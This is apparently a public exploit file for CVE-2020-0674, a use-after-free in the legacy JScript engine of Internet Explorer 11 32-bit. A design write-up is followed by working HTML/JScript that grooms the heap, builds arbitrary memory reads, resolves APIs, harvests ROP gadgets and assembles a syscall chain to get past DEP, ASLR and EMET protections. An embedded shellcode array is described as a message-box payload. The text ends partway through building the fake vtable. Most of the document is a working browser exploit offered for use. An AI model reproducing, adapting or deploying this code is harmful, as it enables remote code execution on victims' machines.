Microsoft Internet Explorer 11 32-bit use-after-free exploit.
bc5f80207c6dab1920550672af88b0bf
# Exploit Title: Microsoft Internet Explorer 11 32-bit - Use-After-Free
# Date: 2021-02-05
# Exploit Author: deadlock (Forrest Orr)
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx
# Version: IE 8, 9, 10, and 11
# Tested on: Windows 7 x64 and Windows 7 x86
# CVE: CVE-2020-0674
# Bypasses: DEP, ASLR, EMET 5.5 (EAF, EAF+, stack pivot protection, SimExec, CallerCheck)
# Original (64-bit) exploit credits: maxpl0it
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" />
<script language="JScript.Compact">
/*
___ _ _ ___ ___ __ ___ __ __ ___ ___ _ _
/ _/| \ / || __|(_ / (_ / \ __ / \ / __|_ | || |
| \__`\ V /'| _|__/ / // / / // |__| // | ,_ \/ /`._ _|
\__/ \_/ |___||___\__/___\__/ \__/ \___/_/ |_|
Overview
This is a 32-bit re-creation of CVE-2020-067, a vulnerability in the legacy
Javascript engine (jscript.dll) in Windows. It was used in historic versions
of Internet Explorer but its load/usage can still be coerced (and thus exploited)
in all versions of IE up to 11.
A high quality description of this exploit can be found on F-Secure's blog at:
https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer/
The original public 64-bit variation of this exploit was written by maxspl0it
and can be found at https://github.com/maxpl0it/CVE-2020-0674-Exploit
Maxspl0it's variation of this exploit works on IE 8-11 64-bit. It is using a
ret2libc style attack with a RIP hijack to NTDLL.DLL!NtContinue which then
calls KERNEL32.DLL!WinExec. Since it is on 64-bit (the first 4 parameters are in
RCX, RDX, R8 and R9) no stack pivot is needed, and this drastically simplifies
the creation of the exploit (especially as it relates to exploit mitigation
protections such as EMET).
My motivation in creating my own variation of this exploit was threefold:
1. I wanted to write an exploit that woulld work on 32-bit (as this is the
default IE used on Windows 7 and 8.1 and thus makes the exploit more practical).
2. I wanted it to bypass the advanced exploit mitigation features such as stack
pivot protection, EAF+, SimExec and CallerCheck (EMET 5.5 in Windows 7 but built
into Windows Defender Exploit Guard today).
3. I wanted it to execute a shellcode payload rather than simply a command via
a ret2libc style sttack.
The first point was a relatively easy one to deal with. The sizes and offsets of
various internal Windows and Javascript structures had to be adjusted for 32-bit.
The other two points significantly complicated the exploit beyond what is found in
maxspl0it's version of the exploit: executing a payload as shellcode requires a
DEP bypass, which in turn requires a stack pivot. Stack pivots are perhaps the
most scrutinized part of a modern exploit attack chain targeted by the exploit
mitigations in EMET 5.5 and Windows Defender today. Furthermore, EAF+ prevents the
resolution of key DEP bypass APIs (such as in my case NtProtectVirtualMemory)
originating from within jscript.dll, which meant API resolution had to be done
via import instead.
Design
The UAF aspect of the exploit itself is best explored in the aforementioned F-Secure
blog, but in summary, the legacy JS engine contained a bug which would not track
variables passed as arguments to the "sort" method of an array. This meant that
GcBlock structures (which store the VAR structs underlying vars in JS) could be
freed by the garbage collector despite still containing active variables in the JS
script. From here, it was just a matter of re-claiming these freed GcBlocks and
manipulating the VAR struct underlying the saved untracked vars (into BSTR for
arbitrary read attacks for example).
In both my variation and maxspl0it's the instruction pointer hijack is performed by
manipulating the VAR struct underlying one of these untracked vars to point to
a class object in another region of memory we control with the UAF re-claim. The first
field of this class object will be the vtable pointer, and thus we can place a pointer
at a method offset of our choice within this fake vtable. In this case, the "typeof"
method is used, and when the typeof the var is queried through the JS script it will
trigger execution of a pointer of our choice.
In my variation, this hijack takes the instruction pointer to a XCHG EAX, ESP gadget
within MSVCRT.DLL. There are only three gadgets in the ROP chain which need to be
scanned for in memory in order to dynamically generate the chain (this exploit does
not rely on static offsets within MSVCRT.DLL and should be reliable on any version of
this module):
1. XCHG EAX, ESP ; RET
2. POP EAX ; RET
3. ROPNOP (derived from either of the previous gadgets by doing a +1 on their address)
The goal of the ROP chain is to make a call to NtProtectVirtualMemory and change
the protections of the shellcode (stored within a BSTR) in memory from +RW to +RWX.
The issue with this, is that EMET hooks NtProtectVirtualMemory and will detect the
stack pivot. To solve this issue, I designed a syscall ROP chain which manually
populates EAX with the NtProtectVirtualMemory syscall number and triggers the syscall
itself using an unhooked region withinh NTDLL.DLL.
Payload
The payload is a simple message box shellcode, the source of which can be found here:
https://github.com/forrest-orr/ExploitDev/blob/master/Shellcode/Projects/MessageBox/EAF/MessageBox32.asm
There is one very significant detail to this shellcode which needs to be replicated in any
other shellcode substituted into this exploit if it is going to bypass EMET: the
shellcode makes a stack pivot using the stack base pointer stored in the TEB. This is
essential, as any call (even indirectly such as in the initialization user32.dll does
before popping a MessageBoxA) to a sensitive API hooked by EMET (and there are many of these)
will detect the stack pivot performed by the ROP chain and throw a security alert. Furthermore
if your shellcode needs to resolve APIs from NTDLL.DLL or Kernel32.dll, you will have issues
with the EAF feature of EMET, which uses debug registers to detect read access to the
export address table of these modules from any non-image memory region (such as the private
+RWX memory region where the shellcode is stored).
*/
var WindowsVersion = 7;
var WindowsArch = "x64"; // Can be "x64" or "x86". Note that this is the OS architecture, not the IE architecture (this exploit is for 32-bit IE only).
var Shellcode = [ 0x0004a164, 0x002d0000, 0x94000010, 0x68e58960, 0x00038f88, 0x00003ce8, 0xb81a6800, 0xe8500006, 0x0000007d, 0x7068646a, 0x89656e77, 0x656e68e1, 0x6f680074, 0x682e7272, 0x2d747365, 0x726f6668, 0x77776872, 0xe2892e77, 0x5152006a, 0xd0ff006a, 0x9461ec89, 0xe58955c3, 0x30be5657, 0x64000000, 0x0c408bad, 0x8918788b, 0xebc031fe, 0x74f73904, 0x74f68528, 0x245e8d24, 0x1474db85, 0x85044b8b, 0x6a0d74c9, 0x5de85101, 0x3b000001, 0x06740845, 0x368bc031, 0x468bd7eb, 0x895f5e10, 0x04c25dec, 0xe5895500, 0x0230ec81, 0x458b0000, 0xf8458908, 0x03f8558b, 0xc0833c42, 0xf0458904, 0x8914c083, 0xc289f445, 0x0308458b, 0x4a8b6042, 0xd04d8964, 0x89fc4589, 0x08458bc2, 0x89204203, 0x558bec45, 0x08458bfc, 0x89244203, 0x558be445, 0x08458bfc, 0x891c4203, 0xc031e845, 0x89e04589, 0x458bd845, 0x18408bfc, 0x0fe0453b, 0x0000d286, 0xe0458b00, 0x00850c8d, 0x8b000000, 0x458bec55, 0x11040308, 0x6ad44589, 0xbde85000, 0x3b000000, 0x850f0c45, 0x000000a1, 0x8de0458b, 0x458b0014, 0x04b70fe4, 0x850c8d02, 0x00000000, 0x8be8558b, 0x04030845, 0xd8458911, 0x89fc4d8b, 0xd05503ca, 0x7f7cc839, 0x7b7dd039, 0x00d845c7, 0x31000000, 0xd09d8dc9, 0x8afffffd, 0xfa800814, 0x80207400, 0x15752efa, 0x642e03c7, 0xc3836c6c, 0x0003c604, 0xfed09d8d, 0xeb41ffff, 0x411388de, 0xc6d8eb43, 0x9d8d0003, 0xfffffdd0, 0xe853006a, 0x0000003c, 0xfea3e850, 0xc085ffff, 0x45892974, 0x8d006adc, 0xfffed095, 0x21e852ff, 0x50000000, 0xe8dc75ff, 0xfffffed1, 0xebd84589, 0xe0458d0a, 0x1fe900ff, 0x8bffffff, 0xec89d845, 0x0008c25d, 0x57e58955, 0x8b084d8b, 0xdb310c7d, 0x74003980, 0x01b60f14, 0xb60f600c, 0xd1d301d0, 0xff8541e3, 0xeb41ea74, 0x5fd889e7, 0xc25dec89, 0x00650008, ];
////////
////////
// Debug/timer code
////////
var EnableDebug = 0;
var EnableTimers = 0;
var AlertOutput = 0;
var TimeStart;
var ReadCount;
function StartTimer() {
ReadCount = 0;
TimeStart = new Date().getTime();
}
function EndTimer(Message) {
var TotalTime = (new Date().getTime() - TimeStart);
if(EnableTimers) {
if(AlertOutput) {
alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
else {
console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
}
}
function DebugLog(Message) {
if(EnableDebug) {
if(AlertOutput) {
alert(Message);
}
else {
console.log(Message); // In IE, console only works if devtools is open.
}
}
}
////////
////////
// UAF/untracked variable creation code
////////
var UntrackedVarSet;
var VarSpray;
var VarSprayCount = 20000; // 200 GcBlocks
var NameListAnchors;
var NameListAnchorCount = 20000; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim
var SortDepth = 0;
var SortArray = new Array(); // Array to be "sorted" by glitched method
function GlitchedSort(untracked_1, untracked_2) { // goes to depth of 227 before freeing GcBlocks, which only happens once.
untracked_1 = VarSpray[SortDepth*2];
untracked_2 = VarSpray[SortDepth*2 + 1];
if(SortDepth > 150) {
VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks
CollectGarbage(); // Free the GcBlocks
UntrackedVarSet.push(untracked_1);
UntrackedVarSet.push(untracked_2);
return 0;
}
SortDepth += 1;
SortArray[SortDepth].sort(GlitchedSort);
UntrackedVarSet.push(untracked_1);
UntrackedVarSet.push(untracked_2);
return 0;
}
function NewUntrackedVarSet() {
SortDepth = 0;
VarSpray = new Array();
NameListAnchors = new Array();
UntrackedVarSet = new Array();
for(i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray
for(i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object();
CollectGarbage();
SortArray[0].sort(GlitchedSort); // Two untracked vars will be passed to this method by the JS engine
}
////////
////////
// UAF re-claim/mutable variable code (used for arbitrary read)
////////
var AnchorObjectsBackup;
var LeakedAnchorIndex = -1;
var SizerPropName = Array(379).join('A');
var MutableVar;
function ReClaimIndexNameList(Value, PropertyName) {
CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability.
AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation
CollectGarbage(); // Free the leaked NameList
AnchorObjectsBackup[LeakedAnchorIndex] = new Object();
AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
AnchorObjectsBackup[LeakedAnchorIndex]["\u0003"] = 1;
AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable
ReadCount++;
}
function CreateVar32(Type, ObjPtr, NextVar) {
var Data = new Array(); // Every element of this array will be a WORD
Data.push(Type, 0x00, 0x00, 0x00, ObjPtr & 0xFFFF, (ObjPtr >> 16) & 0xFFFF, NextVar & 0xFFFF, (NextVar >> 16) & 0xFFFF);
return String.fromCharCode.apply(null, Data);
}
function LeakByte(Address) {
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte.
}
function LeakWord(Address) {
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
}
function LeakDword(Address) {
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return LowWord + (HighWord << 16);
}
function LeakObjectAddress(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address.
ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 2, 0)); // Skip +8 over Type field of VAR to object pointer field and +2 for BSTR length adjustment
var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) and +8 to skip over VAR Type
var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return LeakDword((LowWord + (HighWord << 16)) + 8); // The VAR at the start of the VVAL has an object pointer that points to yet another VAR: this second one will have the actual address of the object in its object pointer field
}
////////
////////
// PE parsing/EAT and IAT resolution code
////////
function DiveModuleBase(Address) {
var Base = (Address & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be run in DOS mode" in PE header.
while(true) {
if(LeakWord(Base) == 0x6854) { // 'hT'
if(LeakWord(Base + 2) == 0x7369) { // 'si'
return (Base - 0x4E);
}
}
Base -= 0x10000;
}
return 0;
}
function ResolveExport(ModuleBase, TargetExportNameTable) {
var FileHdr = LeakDword(ModuleBase + 0x3c);
var ExportDataDir = ModuleBase + FileHdr + 0x78;
if(ExportDataDir) {
var EATRva = LeakDword(ExportDataDir);
var TotalExports = LeakDword(ModuleBase + EATRva + 0x14);
var AddressRvas = LeakDword(ModuleBase + EATRva + 0x1C);
var NameRvas = LeakDword(ModuleBase + EATRva + 0x20);
var OrdinalRvas = LeakDword(ModuleBase + EATRva + 0x24);
var MaxIndex = TotalExports;
var MinIndex = 0;
var CurrentIndex = Math.floor(TotalExports / 2);
var TargetTableIndex = 0;
var BinRes = 0;
while(TotalExports) {
var CurrentNameRva = LeakDword(ModuleBase + NameRvas + 4*CurrentIndex);
while (TargetTableIndex < TargetExportNameTable.length) {
CurrentNameWord = LeakWord(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex)));
var ExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF);
var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
BinRes = BinaryCmp(ExportNameWord, SanitizedCurrentNameWord);
DebugLog("Compaaring 0x" + ExportNameWord.toString(16) + " to sanitized 0x" + SanitizedCurrentNameWord.toString(16) + " result: " + BinRes.toString(10));
if(!BinRes) {
DebugLog("Matched!");
ExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16);
if(ExportNameWord != 0) { // Special case: final WORD of name array is 0, consider this a match
CurrentNameWord = LeakWord(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex)) + 2);
SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
BinRes = BinaryCmp(ExportNameWord, SanitizedCurrentNameWord);
DebugLog("Compaaring 0x" + ExportNameWord.toString(16) + " to sanitized 0x" + SanitizedCurrentNameWord.toString(16) + " result: " + BinRes.toString(10) + " at index " + TargetTableIndex.toString(10));
if(!BinRes) {
DebugLog("Matched!");
if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
Ordinal = LeakWord(ModuleBase + OrdinalRvas + 2*CurrentIndex);
MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + 4*Ordinal));
return [ MainExport , CurrentIndex];
}
else {
DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10));
}
TargetTableIndex++;
}
else {
TargetTableIndex = 0;
break;
}
}
else {
if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
Ordinal = LeakWord(ModuleBase + OrdinalRvas + (2 * CurrentIndex));
MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + (4 * Ordinal)));
return [ MainExport, CurrentIndex];
}
else {
alert("Fatal error during export lookup: target export name array contained a NULL byte not at the end of its final element");
}
}
}
else {
TargetTableIndex = 0;
break;
}
}
if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index
if(MaxIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit max");
break;
}
MaxIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2);
}
else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index
if(MinIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit min");
break;
}
MinIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2);
}
if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) {
DebugLog("Failed to find export: current, min and max indexes are all equal");
break;
}
}
}
return [0,0];
}
function CheckINTThunk(ModuleBase, INTThunkRva, TargetImportNameTable) {
var INTThunkValue = LeakDword(ModuleBase + INTThunkRva);
if(INTThunkValue == 0) {
return -1;
}
if((INTThunkValue & 0x80000000) == 0) { // Only parse non-orginal INT entries
var ImportNameAddress = (ModuleBase + INTThunkValue + 2); // The INT thunk is an RVA pointing at a IMAGE_IMPORT_BY_NAME struct. Skip the hint field in this struct to point directly to the ASCII import name.
if(StrcmpLeak(TargetImportNameTable, ImportNameAddress)) {
return 1;
}
}
return 0;
}
function ResolveImport(ModuleBase, HintIndex, TargetModuleNameTable, TargetImportNameTable) {
var ExtractedAddresss = 0;
var FileHdr = LeakDword(ModuleBase + 0x3c);
var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
var ImportRva = LeakDword(ImportDataDir);
var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
var CurrentNameDesc = ModuleBase + ImportRva;
while(ImportSize != 0) {
NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer
if(NameField != 0) {
if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) {
// Found the target module by name. Walk its INT to check each name.
var HighIATIndex = (HintIndex + 1);
var LowIATIndex = (HintIndex - 1);
var BaseINTThunkRva = (LeakDword(CurrentNameDesc + 0x0));
var BaseIATThunkRva = (LeakDword(CurrentNameDesc + 0x10));
var ResolvedIATIndex = -1;
if(BaseINTThunkRva == 0) {
alert("INT is empty in target module");
}
// Start by checking the INT at the specified hint index
if(CheckINTThunk(ModuleBase, BaseINTThunkRva + (HintIndex * 4), TargetImportNameTable)) {
ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva);
break;
}
// Specified import was not found at the provided hint index. Walk the INT forward/backward in unison from the hint index.
var HighINTThunkRva = (BaseINTThunkRva + (HighIATIndex * 4));
var LowINTThunkRva = (BaseINTThunkRva + (LowIATIndex * 4));
var HitINTThunkCeiling = 0;
while(true) {
if(!HitINTThunkCeiling) {
var ThunkRes = CheckINTThunk(ModuleBase, HighINTThunkRva, TargetImportNameTable);
if(ThunkRes == -1) {
HitINTThunkCeiling = 1;
}
else if(ThunkRes) {
ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva + (HighIATIndex * 4));
ResolvedIATIndex = HighIATIndex;
break;
}
else {
HighINTThunkRva += 4;
HighIATIndex++;
}
}
if(LowINTThunkRva >= BaseINTThunkRva) {
if(CheckINTThunk(ModuleBase, LowINTThunkRva, TargetImportNameTable)) {
ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva + (LowIATIndex * 4));
ResolvedIATIndex = LowIATIndex;
break;
}
LowINTThunkRva -= 4;
LowIATIndex--;
}
}
if(ExtractedAddresss != 0) {
DebugLog("Identified target import at IAT index " + ResolvedIATIndex.toString(10));
break;
}
}
ImportSize -= 0x14;
CurrentNameDesc += 0x14; // Next import descriptor in array
}
else {
break;
}
}
return ExtractedAddresss;
}
function ExtractBaseFromImports(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module
var ExtractedAddresss = 0;
var FileHdr = LeakDword(ModuleBase + 0x3c);
var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
var ImportRva = LeakDword(ImportDataDir);
var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
var CurrentNameDesc = ModuleBase + ImportRva;
while(ImportSize != 0) {
NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer
if(NameField != 0) {
if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) {
ThunkAddress = LeakDword(CurrentNameDesc + 0x10);
ExtractedAddresss = LeakDword(ModuleBase + ThunkAddress + 8); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances
break;
}
ImportSize -= 0x14;
CurrentNameDesc += 0x14; // Next import descriptor in array
}
else {
break;
}
}
return ExtractedAddresss;
}
////////
////////
// Dynamic ROP chain creation code
////////
function HarvestGadget(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) {
var MaxHighOffset = (HintExportAddress + MagicOffset + MaxDelta);
var MinLowOffset = ((HintExportAddress + MagicOffset) - MaxDelta);
var LeakAddress = HintExportAddress + MagicOffset;
var LeakFunc = LeakDword; // In nthe event a 0x00FFFFFF mask is used, LeakDword will be used, but will still be filtered
if(MinLowOffset < HintExportAddress) {
MinLowOffset = HintExportAddress;
}
DebugLog("Hunting for gadget 0x" + Data.toString(16) + " betwee 0x" + MinLowOffset.toString(16) + " and 0x" + MaxHighOffset.toString(16) + " starting from 0x" + LeakAddress.toString(16));
if(DataMask == 0x0000FFFF) {
LeakFunc = LeakWord;
}
else {
alert("Unhaandled data mask for gadget harvest");
return 0;
}
if((LeakFunc(LeakAddress) & DataMask) == Data) {
DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16));
}
else {
var HighAddress = (LeakAddress + 1);
var LowAddress = LeakAddress - 1;
LeakAddress = 0;
while(LowAddress >= MinLowOffset || HighAddress < MaxHighOffset) {
if(LowAddress >= MinLowOffset) {
if((LeakFunc(LowAddress) & DataMask) == Data) {
DebugLog("Found gadget from scan below magic at " + LowAddress.toString(16));
LeakAddress = LowAddress;
break;
}
LowAddress -= 1;
}
if(HighAddress < MaxHighOffset) {
if((LeakFunc(HighAddress) & DataMask) == Data) {
DebugLog("Found gadget from scan above magic at " + HighAddress.toString(16));
LeakAddress = HighAddress;
break;
}
HighAddress += 1;
}
}
}
return LeakAddress;
}
function ResolveNtProtectProxyStub(ScanAddress, MaxOffset) {
/*
Windows 7 x64 NTDLL Wow64
7725001A | 64:FF15 C0000000 | call dword ptr fs:[C0] |
77250021 | 83C4 04 | add esp,4 |
77250024 | C2 0800 | ret 8 |
77250027 | 90 | nop |
77250028 | E9 BB0857BF | jmp 367C08E8 | <- NtProtectVirtualMemory
7725002D | CC | int3 |
7725002E | CC | int3 |
7725002F | 8D5424 04 | lea edx,dword ptr ss:[esp+4] |
77250033 | 64:FF15 C0000000 | call dword ptr fs:[C0] |
7725003A | 83C4 04 | add esp,4 |
7725003D | C2 1400 | ret 14 |
77250040 | B8 4E000000 | mov eax,4E | 4E:'N'
77250045 | 33C9 | xor ecx,ecx |
77250047 | 8D5424 04 | lea edx,dword ptr ss:[esp+4] |
7725004B | 64:FF15 C0000000 | call dword ptr fs:[C0] |
77250052 | 83C4 04 | add esp,4 |
77250055 | C2 1400 | ret 14 |
Windows 7 x86 NTDLL 32-bit
77305F18 | B8 D7000000 | mov eax,D7 | <- NtProtectVirtualMemory
77305F1D | BA 0003FE7F | mov edx,<&KiFastSystemCall> | <- stub resolved here
77305F22 | FF12 | call dword ptr ds:[edx] |
77305F24 | C2 1400 | ret 14 |
*/
var Offset = 0;
var LastMovEaxAddress = 0;
var ProxyStubAddress = 0;
var RetnScenarioOne = 0;
var RetnScenarioTwo = 0;
// Scan forward searching for 0xB8 opcode. Once one is found, scan forward until 0xC2 0x14 0x00 is found. Proxy stub address will be the address of the last 0xB8 opcode +5.
while(Offset < MaxOffset) {
var LeakAddress = ScanAddress + Offset;
var LeakedWord = LeakWord(LeakAddress);
var ByteOne = (LeakedWord & 0x00FF);
var ByteTwo = ((LeakedWord & 0xFF00) >> 8);
if(ByteOne == 0xB8) {
LastMovEaxAddress = LeakAddress;
}
else if(ByteTwo == 0xB8) {
LastMovEaxAddress = (LeakAddress + 1);
}
/*
Scenario one:
Byte one = 0xc2
Byte two = 0x14
Next:
Byte one = 0x00
--
Scenario two:
Byte two - 0xC2
Next:
Byte one - 0x14
Byte two - 0x00
*/
else if(LastMovEaxAddress != 0) {
if(!RetnScenarioOne) {
if(ByteOne == 0xc2 && ByteTwo == 0x14) {
RetnScenarioOne = 1;
}
}
else {
if(ByteOne == 0x00) {
ProxyStubAddress = (LastMovEaxAddress + 5);
DebugLog("NtProtectVirtualMemory proxy stub scenario one scan success: 0x" + ProxyStubAddress.toString(16));
break;
}
else {
RetnScenarioOne = 0;
}
}
if(!RetnScenarioTwo) {
if(ByteTwo == 0xC2) {
RetnScenarioTwo = 1;
}
}
else {
if(ByteOne == 0x14 && ByteTwo == 0x00) {
ProxyStubAddress = (LastMovEaxAddress + 5);
DebugLog("NtProtectVirtualMemory proxy stub scenario two scan success: 0x" + ProxyStubAddress.toString(16));
break;
}
else {
RetnScenarioTwo = 0;
}
}
}
Offset += 2;
}
return ProxyStubAddress;
}
function ResolveGadgetSet(MsvcrtBase) { // Dynamically resolve gadget addresses via delta from export addresses - MSVCRT.DLL is used to harvest gadgets as its EAT is not protected by EAF/EAF+
var GadgetSetObj = new Object();
DebugLog("Dynamically resolving ROP gadget addresses from MSVCRT.DLL export address hints from base " + MsvcrtBase.toString(16));
// XCHG EAX, ESP; RET
// For Win7 x64 Wow64:
// __libm_sse2_log10:0x0008dc45 (+0x4f0) <- 0x0008e135 -> (+0x670) __libm_sse2_log10f:0x0008e7a5
// For Win8.1:
//__libm_sse2_log10:0x000a9b80 (+0x4e5) <- 0x000aa065 -> (+0x67b) __libm_sse2_log10f:0x000aa6e0
var ExportPair = ResolveExport(MsvcrtBase, [0x696c5f5f, 0x735f6d62, 0x5f326573, 0x31676f6c, 0x00000030]); // 'il__' 's_mb' '_2es' '1gol' '0'
if(ExportPair[0]) {
GadgetSetObj.StackPivot = HarvestGadget(ExportPair[0], 0x100, 0xc394, 0x0000FFFF, 0x4f0);
if(GadgetSetObj.StackPivot != 0) {
DebugLog("Stack pivot resolved to: " + GadgetSetObj.StackPivot.toString(16));
GadgetSetObj.RopNop = (GadgetSetObj.StackPivot + 1);
// POP EAX; RET
// Win7/8 (+0x13 and same export on both)
// _safe_fdivr:0x00031821 (+0x13) <- 0x00031834 -> (+0x208) _adj_fprem:0x00031a3c
ExportPair = ResolveExport(MsvcrtBase, [0x6661735f, 0x64665f65, 0x00727669]); // 'fas_' 'df_e' 'rvi'
if(ExportPair[0]) {
GadgetSetObj.PopEax = HarvestGadget(ExportPair[0], 0x100, 0xc358, 0x0000FFFF, 0x00000013); // Win7/8.1 have same offset
if(GadgetSetObj.PopEax) {
return GadgetSetObj;
}
else {
DebugLog("Failed to resolve POP EAX gadget address");
}
}
else {
DebugLog("Failed to resolve msvcrt.dll!_safe_fdivr as export hint");
}
}
else {
DebugLog("Failed to resolve stack pivot gadget address");
}
}
else {
DebugLog("Failed to resolve msvcrt.dll!__libm_sse2_log10 as export hint");
}
return null;
}
function CreateFakeVtable(FakeVtablePaddingSize, VtableSize, NtProtectAddress, ShellcodeAddress, RopGadgetSet, WritableAddress) {
// [Padding]
// [ROPNOP sled]
// [Stack alignment gadget]
// [Stack pivot]
// [Set EAX to 0x4D]
// [NtProtoectVirtualMemry]
// [Shellcode address] <- NtProtoectVirtualMemry return
// [NtProtoectVirtualMemry parameters]
// [Stack pivot]
// [Padding]
var FakeVtable = "";
var X = 0;
var Y = 0;
var PaddingArrayLen = FakeVtablePaddingSize / 4;
var TotalObjLen = ((FakeVtablePaddingSize + VtableSize) / 2);
var PaddingArray = [];
var SyscallNumber;
for(i = 0; i < PaddingArrayLen; i++) {
PaddingArray[i] = 0x11111111;
}
FakeVtable += ConvertDwordArrayToBytes(PaddingArray);
DebugLog("Final stack pivot for vtable at " + RopGadgetSet.StackPivot.toString(16));
while (FakeVtable.length < TotalObjLen) {
if(Y == 0x9c) {
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.StackPivot]);
}
else if(Y == 0x98) {
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEax]);
}
else {
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]);
}
Y += 4;
}
// Layout of storage address region
// +0x0 | Original ESP
// +0x4 | Shellcode address
// +0x8 | Shellcode size
// +0xC | Old protection
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEax]);
if(WindowsVersion == 8.1) {
SyscallNumber = 0x4F; // Windows 8.1 x64 NtProtectVirtualMemory SYSCALL #
}
else {
if(WindowsArch == "x64") {
SyscallNumber = 0x4D; // Windows 7 x64 SP0/SP1 Wow64 NtProtectVirtualMemory SYSCALL #
}
else if(WindowsArch == "x86") {
SyscallNumber = 0xD7; // Windows 7 x86 SP0/SP1 32-bit NtProtectVirtualMemory SYSCALL #
}
}
// NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect);
FakeVtable += ConvertDwordArrayToBytes([SyscallNumber]);
FakeVtable += ConvertDwordArrayToBytes([NtProtectAddress]);
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]); // Return address
FakeVtable += ConvertDwordArrayToBytes([0xFFFFFFFF]);
FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x4]);
FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x8]);
